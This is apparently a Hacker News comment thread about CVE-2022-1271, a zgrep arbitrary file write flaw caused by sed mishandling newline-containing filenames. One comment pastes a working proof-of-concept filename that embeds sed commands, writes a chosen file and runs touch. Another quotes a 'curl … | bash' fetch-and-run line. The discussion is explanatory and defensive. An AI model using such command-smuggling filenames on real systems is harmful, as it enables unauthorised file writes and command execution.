Arbitrary file write vulnerability in GNU gzip's zgrep utility

https://access.redhat.com/security/cve/cve-2022-1271

by perihelions • 4 years ago

152 77 4 years ago

access.redhat.com

belltaco• 4 years ago

pixl972• 4 years ago

I'm sure there's a lot of linux closed source utilities that will break in the same or worse manners. The problem will never be found there.

The issue with finding flaws in source is it takes a massive amount of logical thought about what inputs are possible. For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux.

scottlamb• 4 years ago

For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux.

Likewise. I wonder if SELinux or AppArmor or the like allows setting a policy for valid filenames to create. E.g. no newlines, only valid UTF-8, only printable characters.

eichin• 4 years ago

I've seen them (specifically, filenames generated from values in a "modern" configuration language - json or yaml - that mistakenly had newlines in them.) Fortunately, most of the shell tools involved used `-print0` and the related options anyway (because once you have humans involved, it's the easy way to handle normal spaces in names) and the things that did break, where only "some low-value data processing got skipped" rather than anything harmful.

mikece• 4 years ago

"This flaw occurs due to insufficient validation when processing filenames with two or more newlines where selected content and the target file names are embedded in crafted multi-line file names."

Perhaps I don't get this because I have used Windows most of my life (and DOS before that) but is it valid to have newline characters in a Unix/Linux filename?

i80and• 4 years ago

Unix filesystems can typically have filenames containing any bytes except "\0" and "/".

I believe you can also have newline characters in NTFS, although Windows Explorer appears to prevent creating a file with them.

mcculley• 4 years ago

I have been using the filename "meeting-notes:10/1 \n Unix & Windows.txt" to test various apps. It tends to expose just how brittle modern computing still is.

pixl972• 4 years ago

https://superuser.com/questions/129519/which-file-systems-su...

So yea, it looks like that linux filesystems accept this, but a lot of utilities break.

jeffbee• 4 years ago

There are no rules about what can be in a filename except they can't contain \0 or / as a matter of practice because the kernel interprets these as end of string and path element separator, respectively.

johncolanduoni• 4 years ago

For even more fun NTFS filenames can actually have newlines in them if you access them with \\?\.

jaclaz• 4 years ago

Good to know. :)

Another "queer" naming issue in Windows (JFYI), backslash and ALT+0160:

https://msfn.org/board/topic/131103-win_nt~bt-can-be-omitted...

TheDong4• 4 years ago

The commit fixing this bug is here: https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740...

while grep is written in C, zgrep is written in posix sh, and the bug was from using sed to escape arguments, and sed being a line-oriented utility that is non-ideal for operating on newline-containing strings (i.e. linux filenames).

nikonyrh• 4 years ago

This reminds me that filenames can contain newlines.

tomrod• 4 years ago

guipsp• 4 years ago

And nulls :)

10000truths• 4 years ago

They can contain any octet except ASCII NUL and /.

That said, pretty much every filesystem's on-disk format has an explicit length field for file names. So in theory, there's nothing stopping them from supporting completely binary filenames - it's the kernel's VFS layer that treats NUL and / as special.

foota• 4 years ago

The thought of writing anything in sh is horrifying to me.

djbusby• 4 years ago

Check out GNU pass

It's like all sh

bee_rider• 4 years ago

Well, this seems like the sort of error that we've all made when throwing together our own personal scripts, so I guess it is somewhat heartening that the serious Redhat folks would make it too.

formerly_proven2• 4 years ago

It always seemed very strange to me that there is no way to generate escaped representations in sh/bash, because you do need that from time to time.

phh• 4 years ago

There is printf %q, a bashism I think

Sample usage to escape var called v v="$(printf '%q' "$v")"

josephcsible• 4 years ago

When is this actually exploitable? Are there any common programs or setups that result in zgrep getting called on attacker-provided filenames?

hsbauauvhabzb• 4 years ago

Given infinite code, yes. I would imagine exploitability would be rare, but that it’s easier to fix the vulnerability and move on rather than care about whether or not things are affected.

TheDong4• 4 years ago

The exploit would have to be a bit contrived.

There aren't, to my knowledge, common programs or setups that would cause this to matter.

This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"

Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.

AnotherGoodName• 4 years ago

The thing i don't get is the statement "Attack Vector Network" in the advisory as well at the statement it allows a remote attacker to write files.

I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?

oefrha• 4 years ago

while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.

You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.

Beltiras2• 4 years ago

That's actually the suggested installation mechanism for a lot of software. Most recent I can think of were some AWS cli tools, as delivered from AWS. Height of irresponsibility imo.

develatio• 4 years ago

A very odd coincidence that just a few hours ago there was another news about a 0day in another de/compressor: https://news.ycombinator.com/item?id=31070256

motohagiography• 4 years ago

Rarely am I a commenter of so few words but, here be dragons.

timdoug• 4 years ago

This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:

  timdoug@box:~/gzip$ ls
  timdoug@box:~/gzip$ touch z
  timdoug@box:~/gzip$ echo test | gzip > 'z|
  p
  1s|.*|chosen-content|
  1w hacked
  etouch .\x2fhacked2
  d
  #
  #'
  timdoug@box:~/gzip$ zgrep test z*
  ztest
  timdoug@box:~/gzip$ ls hack*
  hacked  hacked2
  timdoug@box:~/gzip$ cat hacked
  chosen-content
  timdoug@box:~/gzip$

Beltiras2• 4 years ago

Thanks for this! Simple enough to type out even.

mc4ndr3• 4 years ago

Why does a search tool even need to open a writable file handle?

opencl• 4 years ago

It's for searching inside of compressed files, and does this by decompressing to a temporary directory.

deathanatos• 4 years ago

… that is also shocking… it wouldn't just stream the decompression, perhaps piping the decompressed stream into grep itself?

staunch• 4 years ago

This doesn't even seem like a legitimate security vulnerability at all, just a generic behavior bug. I'm guessing there are countless bugs like this in a common Linux userland.

I'd argue that the security vulnerability only exist in any program which passes untrusted user input to zgrep, which would be an obviously insecure thing to do.

Unless zgrep claims its safe against untrusted user input? But that would be weird and surprising.

TheDong4• 4 years ago

16 years ago, there was a bug reported to zgrep where files with 1 newline caused it to behave incorrectly. It was patched without a CVE https://git.savannah.gnu.org/cgit/gzip.git/commit/zgrep.in?i...

This year, there was a bug reported to zgrep where files with 2 newlines caused it to behave incorrectly. It got a CVE and a front page hacker news post.

I give it very good odds this vulnerability has seen next to zero exploitation in the wild in either of the two cases above.

bombcar• 4 years ago

So we’re 16 years out from the three new line bug.

xarope• 4 years ago

My epiphany was using find | xargs and realizing I need -print0 for the former and -0 for the latter to handle special characters. Then I realized all my previous bash scripts were WRONG...

aaaaaaaaaaab• 4 years ago

Zero-delimited versions of common bash tools/idioms:

  xargs -0

  find ... -print0

  sort -z

  while IFS= read -r -d '' var; do ...; done

  env -0

  printf -- '%s\0' *

nieve• 4 years ago

Don't you mean ascii null, not zero?

jonathannerat• 4 years ago

Is there any real use case of having filenames with newlines? Everytime I recall that we have to design programs around that I wonder why it's possible in the first place.

dataflow3• 4 years ago

Linux even allows filenames with end-of-transmission characters in them, which is a choice I'd question long before I start questioning newlines!

gpvos2• 4 years ago

EOT or ctrl-D only has significance when typed into a tty. Once it has turned into a character it is as harmless as any other byte value, it doesn't end anything by itself.

kortex• 4 years ago

The only invalid character in a path is \0 (which of course would terminate the string immediately), and a particular filename cannot contain /, or be "." or "..". Doesn't even have to be unicode. Literally any other bytes.

nightfly• 4 years ago

Makes things like UTF8 and other new encodings easier. Everything has to support that nearly anything can be in a filename

Thorrez2• 4 years ago

It doesn't directly help UTF8, since all the bytes it uses for encoding non-ASCII have the high bit set.

It might directly help with UTF16, I'm not sure.

But the general idea of "block only a few specific characters (\0 and /) and allow all the rest" does help with UTF8. If the designers said something like "only ASCII letters and number and dashes and underscores" then that would block UTF8, and we might end up with something like URL hostnames, where you use punycode to encode non-ASCII into ASCII.

unqueued3• 4 years ago

I think it is good that it is so flexible, because you never know what kind of data you may want represented on your filesystem. I would rather that there be as few restrictions as possible.

There are cases where you will encounter lots of nasty filenames, especially if you are handling user generated content, like scraping from YouTube or Instagram.

Arbitrary file write vulnerability in GNU gzip's zgrep utility

Related Stories